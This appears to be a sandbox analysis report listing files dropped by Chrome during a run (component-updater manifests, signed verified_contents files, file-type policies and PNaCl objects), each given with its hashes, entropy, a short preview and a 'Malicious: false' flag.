Entropy (8bit): 6.016932513650603

Encrypted: false

SSDEEP: 48:p/hKAGj0FnAp7XgNGIaku9E5tPJXaWqkbszesM:R5Gj0FAlsaBmfPsRD3M

MD5: 6D1D175F88B64546105E3E7C31D1129A

SHA1: 75A1B56F55BB62B05365A0FDBFC7941DE77CBFAF

SHA-256: A0BC246E8E160A9BB32FA60F4E7A04D148A17125F426509466031E07731FDF81

SHA-512: 5C80908331E30C7EAD67F7F6C5AB064B07626FD9C58925A0D2124D66B25C5AE2F218BDACFB68AFCB332E88EB297CFB7E0A7A9E5E1E54C9B7A510FEF095F9B5
4F

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\d38e2d08-df7c-4b07-a0fc-6c8b166287c5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\ef22d4f7-f426-438d-aefb-934610ed722b.tmp

C:\Users\user\AppData\Local\Temp\1640_1454429616\_metadata\verified_contents.json
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Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiSUxrUllPSmhIVEZacllLRmN5UC12SkJrVjNWbWVLdHo4d1hEb2VPWjBZMCJ9LHsicGF0aCI6InNzbF9
lcnJvcl9hc3Npc3RhbnQucGIiLCJyb290X2hhc2giOiJyRFZLUnlPcXBQQnI3RGhkM2VTazBKZzYxUlJXOVNzeHFBYU95WDFiWHFjIn1dLCJmb3JtYXQiOiJ0cmVlaGFza
CIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiZ2lla2NtbWxua2xlbmxhb21wcGtwaGtuam1ubnBuZWgiLCJpdGVtX3ZlcnNpb24iOiI3IiwicHJvdG9jb2xfdmVyc
2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"nBdNk-7bgnEftAs4hWaHwF1Lk9pt7Eh6pcqe2gyNsE7VnVRp-
H27tm1RFAF4htCUlXNJxX6YY-MUiK2DqJpQ3c73KDaFV8DcnadQfcXO3Lbrw7jLYSUaSdzujPkTyhuFcq_BhK0KWiIJ0aJgh7nVOBfAa5AbE6oFlLKMB2Ls0gmzS1-a
5hUIu4rw2h9r9jkr6gLYbein5Jk2hdwW3u-1GNjyki4dftG2iZNAI8VhUf5gnCiF4AHCnYSGJsM0RGkmO_HJIzgwpQpP3RDsG2ioeKgxL-kcHhjXWOj3uVGyxpp1FkyHGk
eGuqpFZMAxx3CEBiOtFj7i3iQxkgEW-E3uMKI3yA

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.9570514164363635

Encrypted: false

SSDEEP: 3:SVCBGERJd9WaHpYx4eiXoA:SVCwERJdVMiXd

MD5: C6ABF42CB5AF869629971C2E42A87FD5

SHA1: 6EB0FAE28D9466E76FA12E31FE6CDADD3ACCE4D1

SHA-256: D281AFDA759075F4CB7D7CEEC4A3CB2AF135213B4D691F27090E13F238486AD1

SHA-512: EDDF7E4883E82718743C589E8F2E48BEAD948428E730231FEFADAD380853343332BC56C9DC61C963B3F537CD4865B06FF330CEF012B152CEA35F8A0AA2C7B56
D

Malicious: false

Preview: 1.fd515ec0dc30d25a09641b8b83729234bc50f4511e35ce17d24fd996252eaace

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 76

Entropy (8bit): 4.169145448714876

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFY8Wypv/KS1f:F6VlMQyBSS1f

MD5: 4AAA0ED8099ECC1DA778A9BC39393808

SHA1: 0E4A733A5AF337F101CFA6BEA5EBC153380F7B05

SHA-256: 20B91160E2611D3159AD82857323FEBC906457756678AB73F305C3A1E399D18D

SHA-512: DFA942C35E1E5F62DD8840C97693CDBFD6D71A1FD2F42E26CB75B98BB6A1818395ECDF552D46F07DFF1E9C74F1493A39E05B14E3409963EFF1ADA8889715287
9

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "sslErrorAssistant",.  "version": "7".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2816

Entropy (8bit): 6.108955364911366

Encrypted: false

SSDEEP: 48:jkbh6AW2Bfc3osI6Hc3+XgU+EVeY55J4gXM/QDH4yq2dxckdfmkM:jkbhM2a3pntgQVb8Ylq2di

MD5: E2F792C9E2DD86F39E8286B2EAD2FC70

SHA1: 8A32867614D2A23E473ED642056DED8E566687F9

SHA-256: AC354A4723AAA4F06BEC385DDDE4A4D0983AD51456F52B31A8068EC97D5B5EA7

SHA-512: 6A7AF0CA1EFA65A89A9CA3B8DF0D2E24F21D91673C60CDFEEB02D33647442B01D535497249542F40E66E0D2DD3E9F8ED1F4A201FD97138D07A2B71366737E58
0

Malicious: false

Preview: ...5.3sha256/fjZPHewEHTrMDX3I1ecEIeoy3WFxHyGplOLv28kIbtI=.5.3sha256/m/nBiLhStttu1YmOz7Y3D2u1iB1dV2CbIfFa3R2YW5M=.5.3sha256/8Iuf4xR
bVCmCMQTJn3rxlglIO1IOKoyuSUgmXyfaIKs=.5.3sha256/8IHdrS+r6IWzSMcRcD/GA6mBxk1ECX8tGRW0rtGWILE=.5.3sha256/k/2eeJTznE32mblA/du19wpVDSI
ReFX44M8wXa2JY30=.5.3sha256/urWd7jMwR6DJgvWhp6xfRHF5b/cba3iG0ggXtTR6AfM=.5.3sha256/IJPCDSE5tM9H3nuD5m6RU2i9KDdPXVn4qmC/ULlcZzc=.5.
3sha256/0Gy8RMdbxHNWR2GQJ62QKDXORYf5JmMmnr1FJFPYpzM=.5.3sha256/8tTICtyaxIQrdbYYDdgZhTN0OpM9kYndvoImtw1Ys5E=.5.3sha256/F7HIlsaG0bpJ
W8CzYekRbtFqLVTTGqwvuwPDqnlLct0=.5.3sha256/zaV2Aw1A742R1+WpXWvL5atsJbGmeSS6dzZOfe6f1Yw=.5.3sha256/UwOkRGMlP0K/mKNJdpQ0sTg2ean9Tje8
UTOvFYzt1GE=.5.3sha256/w7KUXE4/BAo1YVZdO3mBsrMpu4IQuN0mhUXUI//agVU=.5.3sha256/JnPvGqEn36FjHQlBXtG1uWwNtdMj1o2ojR/asqyypNk=.5.3sha2
56/AUSXlKDCf1X30WhWeAWbjToABfBkJrKWPL6KwEi5VH0=.5.3sha256/zSyVjjFJMIeXK0ktVTIjewwr6U5OePRqyY/nEXTI4P8=.5.3sha256/9dcHlrXN2WV/ehbEd
MxMZ8IV4qvGejCtNC5r6nfTviM=.5.3sha256/E+0WZLGSIe5nddlVKZ5fYzaNHHCE3hNqi/OWZD3iKgA=.5.3sha2

C:\Users\user\AppData\Local\Temp\1640_1454429616\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\1640_1454429616\manifest.json

C:\Users\user\AppData\Local\Temp\1640_1454429616\ssl_error_assistant.pb
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 145035

Entropy (8bit): 7.995615725071868

Encrypted: true

SSDEEP: 3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF

MD5: EA1C1FFD3EA54D1FB117BFDBB3569C60

SHA1: 10958B0F690AE8F5240E1528B1CCFFFF28A33272

SHA-256: 7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D

SHA-512: 6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FF
CAF

Malicious: false

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-|\.)..(..... ]G..j.-M)...
.C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0...*.H.............0.............O..(
...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('
e~*{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1765

Entropy (8bit): 6.027545161275716

Encrypted: false

SSDEEP: 48:p/hii6zkvVI1Jip2qRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug

MD5: 45821E6EB1AEC30435949B553DB67807

SHA1: B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC

SHA-256: E5FAE91295BECF7F66BFA4BE1061CA5537ED763EB5D01485F23ECFB583304FEE

SHA-512: BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4D406E1076FC0B3A31D4A9E5EE034F0FE15A0EFE8A8A52B838DE94B96D3E488D28F0
FE

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJSZWNvdmVyeS5jcngzIiwicm9vdF9oYXNoIjoiaGdCR051SzhNR2NKaDlfNmZQaFdEWmpVYUFKeklzeDlJS21DUEZvb0dfUSJ9LHsicGF0aCI6Im1hbml
mZXN0Lmpzb24iLCJyb290X2hhc2giOiIwYXduVFBFQmdDRHkyV05hVVk3Um9mSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCJmb3JtYXQiOiJ0cmVlaGFzaCI
sImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiaWhubGNlbm9jZWhnZGFlZ2RtaGJpZGpobmhkY2hmbW0iLCJpdGVtX3ZlcnNpb24iOiIxLjMuMzYuMTQxI
iwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFuMX_kOZ-zJ7KVu6Lxb3rHWZg
QvkZhv25x_SGlBiDV_okALrGbj6rUOWyNNNsHXMnT118XZmA696XR8qkr4dwT5Gvez-9gi-WYBY7XBkgo7v6NspGgJF89BNCeI-P9k-zBHOGgrf-fCEiAcoM7xCx9_f8ql
Ry7nhQPyjOIHn5eEJEir0uSu6gdqR9afnVZ3UoR-VOLdOBt7fA4ee38MP2ut5qWU50F5dvIezfKkTVDMHwztvcLCy6R9SVkdSYv6jwWGccYRl-aclvkkHu6SnbZGI7fmDZ
dkcBAxBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGc

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.7900469623255675

Encrypted: false

SSDEEP: 3:SpOXzxlQ4BdPWfDL9c:SpOjDQFfVc

MD5: 2AE14F91312C4E8034366B09D49D5B18

SHA1: AD4933A5D838D0FA0B960C327A5039A9E8249642

SHA-256: 4F122332EF0F2BB490EF59619D3602C1A7277C0A7A19C132202DB4803A09BFA2

SHA-512: FB0CC467A4B8463F6A3BF42CDC11C23B34EB94A9397644B68714DCB819EE326BAE05022D59D23DC9907DF1E6928064D853FD0900BB6083417892D4D5A9BA7716

Malicious: false

Preview: 1.aeedb246d19256a956fedaa89fb62423ae5bd8855a2a1f3189161cf045645a19

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

C:\Users\user\AppData\Local\Temp\1640_1856074485\Recovery.crx3

C:\Users\user\AppData\Local\Temp\1640_1856074485\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\1640_1856074485\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\1640_1856074485\manifest.json
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Size (bytes): 195

Entropy (8bit): 4.682333395896383

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL

MD5: 7A8E3A0B6417948DF4D49F3915428D7A

SHA1: 4FC084AABDB13483567D5C417C7ED8FD16726A80

SHA-256: D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE

SHA-512: 064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB5
9A1

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "ImprovedRecoveryComponentInner",.  "version": "1.3.36.141",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "
squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1425

Entropy (8bit): 5.994801846608462

Encrypted: false

SSDEEP: 24:pZRj/flTm6M27DJGpqYdIQpFpNSzkaoXgdF/bhndPeQUAXFr9oX4OvDFryBuliPO:p/hZ7DJI1fp/Nykak0/FdPe2p9kdBms7

MD5: A9213F8CDFB6B78022DA05CFA5A7D891

SHA1: 93D3EF815A109379A001E3F3202757F3203361B9

SHA-256: 9C668E3D077EEE7AEF97863D7FE1CBF61FB4B5000453F505703E57D27B422967

SHA-512: 6C7BE485C63EA72AF9E427ABE509A30BE13F4BDE09F0CDB8556CFF13B083B715F7F5DFCE57A1E768EF1EB88F04EFD4E99C226100191B93F75469418CE330CE
69

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJkb3dubG9hZF9maWxlX3R5cGVzLnBiIiwicm9vdF9oYXNoIjoiakhYVTVVRE1oWUx1VUlROV96d1Bsd2Zmd29uTkhSbURmaUE5VUFHaVEtZyJ9LHsicGF
0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJJNTVkQUc3d3BDSWJBTmNzSkRZWmp0cDJCRHFTUkZXdzNwdE9sU2ktek5zIn1dLCJmb3JtYXQiOiJ
0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoia2hhb2llYm5ka29qbG1wcGVlbWpoYnBiYW5kaWxqcGUiLCJpdGVtX3ZlcnNpb24iOiI1M
CIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"LqYqsP-WlB8nE2JEqYRQxkHwN
9Wgu2MK5D_uPKB4atX30fFzDZAv8Z9plvsI53AMo_GMmNgC8lY-_9pCOQ1F19ExfbP5FC7NcA3xe112MMEg7Fkb58kGoMuTn-NQmI-ZrdwwRnGsT8tuLR9EV
d9GtzapIXldJbnhF3jZdUAR_fDG03RTaF2BmeDK2OHFmFhjGgyaqgwW8jBASkQEYpW4czHJUk45TmANmcW3tICwSoTzoTZvPOQ791WdBp6OISU0KeojQjs0W
7Y6e90Do6sOIVBKprbt0RqbKUIAC1WA3t7b2E0rMwXGmIRTjhSMkaflwMh4gFw54E5PLQMxIhNCBw"},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 7650

Entropy (8bit): 5.12483814381491

Encrypted: false

SSDEEP: 192:40aEW8SsWk/pvtHB3Nf5Y10k6QKEa4pmigb1BPxzO6RsO6v:40aEW8SsWk/pvtHB3Nf5YKk6QKEa4pmA

MD5: 8D7D8483804246771B62D74531D9C7A8

SHA1: 19EA42E79F04F4C2A1CCAA637385BC7EF7EA19F3

SHA-256: A28B662C9E379BAAD00E700A9AA4124A2D7A3648669EB88C8E8F8CE1A7011A85

SHA-512: 955B2B467063D774233C0B5DDF0FAA04678224855E7950967B1EDE83103FF14EC8371F1B36CE7D92F9B11D2BA6AF10DE732CEE990C7500EDEC7C71252890A667

Malicious: false

Preview: .2...#<....jpg... .*.........jpeg... .*.........mp3... .*.........mp4... .*.........png... .*.........csv... .*.........ica... .*.........gif... .*.........txt... .*.........package... .*.........tif... .*.........webp... .*......
...mkv... .*.........wav... .*.........mov... .*.........avif... .*.........swf.D .*.........spl.E .*.........crx.. .*.........001..... .*.........7z.4.. .*.........ace..... .*.........arc..... .*.........arj.:.. .*.........b64...
.. .*.........balz..... .*.........bhx..... .*.........bin..... .*.....0.....bz..... .*.........bz2.8.. .*.........bzip2..... .*.........cab.... .*.........cpio.@.. .*.........fat..... .*.........gz.6.. .*.........gzip..... .*....
.....hfs..... .*.........hqx..... .*.........iso..... .*.....0.....lha.<.. .*.........lpaq1..... .*.........lpaq5..... .*.........lpaq8..... .*.........lzh.;.. .*.........lzma.?.. .*.........mim..... .*.........ntfs..... .*.......
..paq8f..... .*.........paq8jd..... .*.........paq8l..... .*.........paq8o..... 

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.8793357407284366

Encrypted: false

SSDEEP: 3:SXGVNXEWfw9CSedSVzQGDB7YsDAwd:SUNX/sQkD/

C:\Users\user\AppData\Local\Temp\1640_26724210\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\1640_26724210\download_file_types.pb

C:\Users\user\AppData\Local\Temp\1640_26724210\manifest.fingerprint
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MD5: A13AE9794CF91F69B4E285B2F5E2FFDD

SHA1: 2A9E7B1BC57B296D792B50E03D80D21A9B8731F2

SHA-256: D68B68CF7C55432F41582B26536C9FD9A3BE50DD6E3255D4EC1B79488CA15C96

SHA-512: 0FD65CDB977949DA94E694CA018CCE97E4995389F4E29F9ED791B418938D9813CE1F13606363A67407BA26414E9A32757FB181FA5EB4E663BDF0F4DD8A2BEDF
6

Malicious: false

Preview: 1.2c15227a2823f31c7f3728e85a39bd87040d30562f3fa8d1c6faeb20f93e3cc8

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 173

Entropy (8bit): 4.479129266715852

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFRxJ1KnOFgS1iJHpEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlMDf1KqgS1qOWfB0NpK4aotL

MD5: 6919207CEDCD450B8080CEE781C19AC8

SHA1: D57E8CEA888A3B1457D98A3CD5E6038D090462F5

SHA-256: 239E5D006EF0A4221B00D72C2436198EDA76043A924455B0DE9B4E9528BECCDB

SHA-512: FF864721CE59CA633FAE8D8E3D4728952F6FCF0B241DEF7832F22EF229699282A588FD76B91A3E4FA7B470CAFA9E41E8460977C2A1547A5A9E9D3CF5E8D4AFF
0

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "fileTypePolicies",.  "version": "50",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3034

Entropy (8bit): 5.876664552417901

Encrypted: false

SSDEEP: 48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4

MD5: 8B6C3E16DFBF5FD1C9AC2267801DB38E

SHA1: F5CADC5914DF858C96C189B092BC89C29407BBAA

SHA-256: FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

SHA-512: 37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F5
02

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1
sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsI
nJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWN
sX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfc
GxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
iOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit): 4.68252584617246

Encrypted: false

SSDEEP: 12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHA1: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433

SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3
E

Malicious: false

C:\Users\user\AppData\Local\Temp\1640_26724210\manifest.json

C:\Users\user\AppData\Local\Temp\1640_618172239\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_pnacl_json
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Preview: {.    "COMMENT": [.        "This file serves as a template for the resource info description used by ", .        "the NaCl Chrome plugin.  It is kept in the NaCl repository to 
prevent ", .        "hard-coding of NaCl-specific information inside the Chrome repository.".    ], .    "abi-version": 1, .    "pnacl-arch": "x86-64", .    "pnacl-ld-name": "ld.nexe", 
.    "pnacl-llc-name": "pnacl-llc.nexe", .    "pnacl-sz-name": "pnacl-sz.nexe", .    "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2712

Entropy (8bit): 3.4025803725190906

Encrypted: false

SSDEEP: 48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE

MD5: 604FF8F351A88E7A1DBD7C836378AE86

SHA1: 9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3

SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302

SHA-512: 85B1EDA4C473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CB0AF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CF01EC0A158
40

Malicious: false

Preview: .ELF..............>.................................@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..SP..h.........fff...................h.........fff.............J.$<[.,$J.l=....J.$<.....f......................................................................
...............................................................................................................NaCl....x86-64...........zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C
.........p.......`....C....C..B...... .......................<...............@.......X.......................t........................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-
clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2776

Entropy (8bit): 3.5335802354066246

Encrypted: false

SSDEEP: 48:b/5D5V5ej5ej5PjDdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVJB1ZFhLDOsT

MD5: 88C08CD63DE9EA244F70BFC53BBCADF6

SHA1: 8F38A113A66B18BAA02E2C995099CF1145A29DAA

SHA-256: 127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3

SHA-512: 78D2500493A65A23D101EC2420DC5F0CE8C75EFAC425C28547121643E4FB568E9D827EF2C0F7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95F

Malicious: false

Preview: .ELF..............>.....................X...........@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..SP..h.......
..fff.............J.$<[.,$J.l=....J.$<.....f.K...............`.......P.......................z...................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com
/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c9
4a3a7da70f0081724448f)............zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......@....C....C.................@....C....C.................@...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 1520

Entropy (8bit): 2.799960074375893

Encrypted: false

SSDEEP: 12:Bvx/ekjlM/NQQmTfR9yp9396QQmTfR9C6wRqD8MTDDw7lEOkSbfuEAXwX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7b7CD8

MD5: 75E79F5DB777862140B04CC6861C84A7

SHA1: 4DB7BDC80206765461AC68CEC03CE28689BBEE0C

SHA-256: 74E8885B87ED185E6811C23942FD9BD1FBAC9115768849AF95A9DECF6644B2EA

SHA-512: FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB10B5FABC3C7C938E0E895E27EA0AC03CBFE8D0EEABF5300A4AD07F67FD96CC
253

Malicious: false

Preview: .ELF..............>.................................@.....@.........................NaCl....x86-64.......clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git 
ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f
)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.......................................................!...................................
.............................................................................................................................................................../../../pnacl/support/crtend.c.__EH_FRAME_END__.........................
......................................................................@...............................................................H.......................................P.......................H...............................

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7511538a3a6a0b862c772eace49075ed1bbe2377, stripped

Category: dropped

Size (bytes): 2163864

Entropy (8bit): 6.07050487397106

Encrypted: false

SSDEEP: 24576:HPHonIwYZJ0ykwVO7Owf31yJKzCtxO8RSV4lY+PbeHVxCtjFV4lBNeSAmfGqa+A7:HvSMRwf3SKmlY+PyPvnM2Gq+

MD5: 0BB967D2E99BE65C05A646BC67734833

SHA1: 220A41A326F85081A74C4BB7C5F4E115D1B4B960

SHA-256: C6C2D0C2FC3E38A9BFA19C78066439C2F745393F1FD1C49C3C6777F697222C76
